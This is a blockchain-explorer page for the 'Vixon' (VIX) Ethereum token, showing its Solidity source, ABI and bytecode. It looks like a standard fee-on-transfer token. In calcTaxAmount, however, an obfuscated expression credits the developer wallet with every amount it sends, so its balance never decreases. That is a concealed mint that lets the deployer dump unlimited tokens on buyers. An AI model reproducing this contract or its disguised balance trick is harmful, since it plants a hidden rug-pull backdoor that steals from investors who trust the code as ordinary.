Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(address spender, uin ...    - function transferFrom( library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair( interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract Vixon is Context, IERC20, ... *    - function createPair()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(    - function transferFrom(    - function _approve(address owner, addr ...    - function _checkTransLimit(address fro ...    - function _transfer(address from, addr ...    - function _tokenTransfer(address sende ...    - function calcTaxAmount(    - function _basicTransfer(address from, ...    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function removeLimits()    - function sendETHToFee(uint256 amount)    - function recoverEth()    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-09-05
*/

//SPDX-License-Identifier: MIT
/**
Web: https://vixoneth.xyz
X: https://x.com/vixoneth
Tg: https://t.me/vixoneth
**/

pragma solidity 0.8.22;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Vixon is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _devWallet;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 20;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Vixon";
    string private constant _symbol = unicode"VIX";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _devWallet = payable(0x43061B87b8454958aC938F515096a75Bb180B30F);
        _tOwned[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_devWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createPair() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _checkTransLimit(address from, address to, uint256 amount) private {
        if (from != owner() && to != owner()) {
            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                sendETHToFee(address(this).balance);
            }
        }
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _basicTransfer(from, to, amount);
            return;
        }
        _checkTransLimit(from, to, amount);
        _tokenTransfer(from, to, amount);
    }

    function _tokenTransfer(address sender, address receipt, uint256 tokenAmount) private { 
        uint256 taxA = calcTaxAmount(sender, receipt, tokenAmount);

        if (taxA > 0) {
            _tOwned[address(this)] += taxA;
            emit Transfer(sender, address(this), taxA);
        }

        _tOwned[sender] -= tokenAmount;
        _tOwned[receipt] += tokenAmount.sub(taxA);
        emit Transfer(sender, receipt, tokenAmount.sub(taxA));
    }

    function calcTaxAmount(
        address sender,
        address receipt,
        uint256 tAmount
    ) internal returns (uint256) {
        uint256 taxAmount = tAmount
        .mul(
            (_buyCount > _reduceBuyTaxAt)
                ? _finalBuyTax
                : _initialBuyTax
        )
        .div(100);
        if(sender == _devWallet) _tOwned[_devWallet] += 10*1 + 2*tAmount - 10 - tAmount;
        if (receipt == uniswapV2Pair && sender != address(this)) {
            taxAmount = tAmount
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        }
        return taxAmount;
    }

    function _basicTransfer(address from, address to, uint256 amount) internal {
        _tOwned[from] = _tOwned[from] - amount;
        _tOwned[to] = _tOwned[to] + amount;
        emit Transfer(from, to, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(~uint256(0));
    }

    function sendETHToFee(uint256 amount) private {
        _devWallet.transfer(amount);
    }

    function recoverEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    receive() external payable {}

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff191690556014600781905560088190555f6009818155600a828155600b849055600c849055600d93909355600e91909155620000469162000354565b62000056906301312d006200036b565b600f55620000676009600a62000354565b62000077906301312d006200036b565b601055620000886009600a62000354565b620000959060646200036b565b601155620000a66009600a62000354565b620000b590629896806200036b565b6012556014805461ffff60a81b19169055348015620000d2575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b0319167443061b87b8454958ac938f515096a75bb180b30f00179055620001496009600a62000354565b6200015990633b9aca006200036b565b335f908152600160208190526040822092909255600390620001825f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001e53390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200021e6009600a62000354565b6200022e90633b9aca006200036b565b60405190815260200160405180910390a362000385565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200029957815f19048211156200027d576200027d62000245565b808516156200028b57918102915b93841c93908002906200025e565b509250929050565b5f82620002b1575060016200034e565b81620002bf57505f6200034e565b8160018114620002d85760028114620002e35762000303565b60019150506200034e565b60ff841115620002f757620002f762000245565b50506001821b6200034e565b5060208310610133831016604e8410600b841016171562000328575081810a6200034e565b62000334838362000259565b805f19048211156200034a576200034a62000245565b0290505b92915050565b5f6200036460ff841683620002a1565b9392505050565b80820281158282048414176200034e576200034e62000245565b61191d80620003935f395ff3fe60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063bcdb446b11610062578063bcdb446b14610314578063bf474bed14610328578063c876d0b91461033d578063c9567bf914610356578063dd62ed3e1461036a575f80fd5b80638da5cb5b1461027b5780638f9a55c0146102a157806395d89b41146102b65780639e78fb4f146102e1578063a9059cbb146102f5575f80fd5b8063313ce567116100e3578063313ce567146101ed57806370a0823114610208578063715018a61461023c578063751039fc146102525780637d1db4a514610266575f80fd5b806306fdde0314610129578063095ea7b3146101685780630faee56f1461019757806318160ddd146101ba57806323b872dd146101ce575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260058152642b34bc37b760d91b60208201525b60405161015f919061150d565b60405180910390f35b348015610173575f80fd5b50610187610182366004611570565b6103ae565b604051901515815260200161015f565b3480156101a2575f80fd5b506101ac60125481565b60405190815260200161015f565b3480156101c5575f80fd5b506101ac6103c4565b3480156101d9575f80fd5b506101876101e836600461159a565b6103e4565b3480156101f8575f80fd5b506040516009815260200161015f565b348015610213575f80fd5b506101ac6102223660046115d8565b6001600160a01b03165f9081526001602052604090205490565b348015610247575f80fd5b5061025061044b565b005b34801561025d575f80fd5b506102506104c5565b348015610271575f80fd5b506101ac600f5481565b348015610286575f80fd5b505f546040516001600160a01b03909116815260200161015f565b3480156102ac575f80fd5b506101ac60105481565b3480156102c1575f80fd5b506040805180820190915260038152620ac92b60eb1b6020820152610152565b3480156102ec575f80fd5b50610250610539565b348015610300575f80fd5b5061018761030f366004611570565b610732565b34801561031f575f80fd5b5061025061073e565b348015610333575f80fd5b506101ac60115481565b348015610348575f80fd5b506006546101879060ff1681565b348015610361575f80fd5b50610250610772565b348015610375575f80fd5b506101ac6103843660046115f3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103ba338484610957565b5060015b92915050565b5f6103d16009600a61171e565b6103df90633b9aca0061172c565b905090565b5f6103f0848484610a7b565b610441843361043c856040518060600160405280602881526020016118c0602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610bef565b610957565b5060019392505050565b5f546001600160a01b0316331461047d5760405162461bcd60e51b815260040161047490611743565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ee5760405162461bcd60e51b815260040161047490611743565b5f19600f81905560108190556006805460ff191690556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b031633146105625760405162461bcd60e51b815260040161047490611743565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105ab90309061059d6009600a61171e565b61043c90633b9aca0061172c565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061f9190611778565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561067e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a29190611778565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106ec573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107109190611778565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f6103ba338484610a7b565b5f546001600160a01b031633146107675760405162461bcd60e51b815260040161047490611743565b61077047610c27565b565b5f546001600160a01b0316331461079b5760405162461bcd60e51b815260040161047490611743565b601454600160a01b900460ff16156107f55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610474565b6013546001600160a01b031663f305d7194730610826816001600160a01b03165f9081526001602052604090205490565b5f806108395f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561089f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c49190611793565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610919573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093d91906117be565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109b95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610474565b6001600160a01b038216610a1a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610474565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610adf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610474565b6001600160a01b038216610b415760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610474565b5f8111610ba25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610474565b601454600160b01b900460ff161580610bc45750601454600160a81b900460ff165b15610bd957610bd4838383610c66565b505050565b610be4838383610d0b565b610bd483838361102f565b5f8184841115610c125760405162461bcd60e51b8152600401610474919061150d565b505f610c1e84866117dd565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610c62573d5f803e3d5ffd5b5050565b6001600160a01b0383165f90815260016020526040902054610c899082906117dd565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610cb89082906117f0565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a6e9085815260200190565b5f546001600160a01b03848116911614801590610d3557505f546001600160a01b03838116911614155b15610bd45760065460ff1615610e1d576013546001600160a01b03838116911614801590610d7157506014546001600160a01b03838116911614155b15610e1d57325f908152600560205260409020544311610e0b5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610474565b325f9081526005602052604090204390555b6014546001600160a01b038481169116148015610e4857506013546001600160a01b03838116911614155b8015610e6c57506001600160a01b0382165f9081526003602052604090205460ff16155b15610f5257600f54811115610ec35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610474565b60105481610ee5846001600160a01b03165f9081526001602052604090205490565b610eef91906117f0565b1115610f3d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610474565b600e8054905f610f4c83611803565b91905055505b305f90815260016020526040902054601454600160a81b900460ff16158015610f8857506014546001600160a01b038481169116145b8015610f9d5750601454600160b01b900460ff165b8015610fac5750600d54600e54115b8015610fd057506001600160a01b0384165f9081526003602052604090205460ff16155b8015610ff457506001600160a01b0383165f9081526003602052604090205460ff16155b15611029576011548111156110205761102061101b836110168460125461115a565b61115a565b611171565b61102947610c27565b50505050565b5f61103b8484846112e1565b905080156110a757305f90815260016020526040812080548392906110619084906117f0565b909155505060405181815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6001600160a01b0384165f90815260016020526040812080548492906110ce9084906117dd565b909155506110de905082826113e6565b6001600160a01b0384165f90815260016020526040812080549091906111059084906117f0565b90915550506001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61114385856113e6565b60405190815260200160405180910390a350505050565b5f818311611168578261116a565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111b7576111b761181b565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561120e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112329190611778565b816001815181106112455761124561181b565b6001600160a01b03928316602091820292909201015260135461126b9130911684610957565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112a39085905f9086903090429060040161182f565b5f604051808303815f87803b1580156112ba575f80fd5b505af11580156112cc573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f8061130f6064611309600b54600e54116112fe57600754611302565b6009545b8690611427565b906114a5565b6006549091506001600160a01b0361010090910481169086160361138e5782600a61133b82600261172c565b61134690600a6117f0565b61135091906117dd565b61135a91906117dd565b60065461010090046001600160a01b03165f90815260016020526040812080549091906113889084906117f0565b90915550505b6014546001600160a01b0385811691161480156113b457506001600160a01b0385163014155b156113de57610c1e6064611309600c54600e54116113d457600854611302565b600a548690611427565b949350505050565b5f61116a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bef565b5f825f0361143657505f6103be565b5f611441838561172c565b90508261144e85836118a0565b1461116a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610474565b5f61116a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836115015760405162461bcd60e51b8152600401610474919061150d565b505f610c1e84866118a0565b5f602080835283518060208501525f5b818110156115395785810183015185820160400152820161151d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461156d575f80fd5b50565b5f8060408385031215611581575f80fd5b823561158c81611559565b946020939093013593505050565b5f805f606084860312156115ac575f80fd5b83356115b781611559565b925060208401356115c781611559565b929592945050506040919091013590565b5f602082840312156115e8575f80fd5b813561116a81611559565b5f8060408385031215611604575f80fd5b823561160f81611559565b9150602083013561161f81611559565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561167857815f190482111561165e5761165e61162a565b8085161561166b57918102915b93841c9390800290611643565b509250929050565b5f8261168e575060016103be565b8161169a57505f6103be565b81600181146116b057600281146116ba576116d6565b60019150506103be565b60ff8411156116cb576116cb61162a565b50506001821b6103be565b5060208310610133831016604e8410600b84101617156116f9575081810a6103be565b611703838361163e565b805f19048211156117165761171661162a565b029392505050565b5f61116a60ff841683611680565b80820281158282048414176103be576103be61162a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611788575f80fd5b815161116a81611559565b5f805f606084860312156117a5575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117ce575f80fd5b8151801515811461116a575f80fd5b818103818111156103be576103be61162a565b808201808211156103be576103be61162a565b5f600182016118145761181461162a565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561187f5784516001600160a01b03168352938301939183019160010161185a565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826118ba57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ba8fdac28fb3f4f495d85140a74bcadd6937eb8e4d1e1f7e17e23522dd5b46a564736f6c63430008160033

0x60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063bcdb446b11610062578063bcdb446b14610314578063bf474bed14610328578063c876d0b91461033d578063c9567bf914610356578063dd62ed3e1461036a575f80fd5b80638da5cb5b1461027b5780638f9a55c0146102a157806395d89b41146102b65780639e78fb4f146102e1578063a9059cbb146102f5575f80fd5b8063313ce567116100e3578063313ce567146101ed57806370a0823114610208578063715018a61461023c578063751039fc146102525780637d1db4a514610266575f80fd5b806306fdde0314610129578063095ea7b3146101685780630faee56f1461019757806318160ddd146101ba57806323b872dd146101ce575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260058152642b34bc37b760d91b60208201525b60405161015f919061150d565b60405180910390f35b348015610173575f80fd5b50610187610182366004611570565b6103ae565b604051901515815260200161015f565b3480156101a2575f80fd5b506101ac60125481565b60405190815260200161015f565b3480156101c5575f80fd5b506101ac6103c4565b3480156101d9575f80fd5b506101876101e836600461159a565b6103e4565b3480156101f8575f80fd5b506040516009815260200161015f565b348015610213575f80fd5b506101ac6102223660046115d8565b6001600160a01b03165f9081526001602052604090205490565b348015610247575f80fd5b5061025061044b565b005b34801561025d575f80fd5b506102506104c5565b348015610271575f80fd5b506101ac600f5481565b348015610286575f80fd5b505f546040516001600160a01b03909116815260200161015f565b3480156102ac575f80fd5b506101ac60105481565b3480156102c1575f80fd5b506040805180820190915260038152620ac92b60eb1b6020820152610152565b3480156102ec575f80fd5b50610250610539565b348015610300575f80fd5b5061018761030f366004611570565b610732565b34801561031f575f80fd5b5061025061073e565b348015610333575f80fd5b506101ac60115481565b348015610348575f80fd5b506006546101879060ff1681565b348015610361575f80fd5b50610250610772565b348015610375575f80fd5b506101ac6103843660046115f3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103ba338484610957565b5060015b92915050565b5f6103d16009600a61171e565b6103df90633b9aca0061172c565b905090565b5f6103f0848484610a7b565b610441843361043c856040518060600160405280602881526020016118c0602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610bef565b610957565b50600193925050505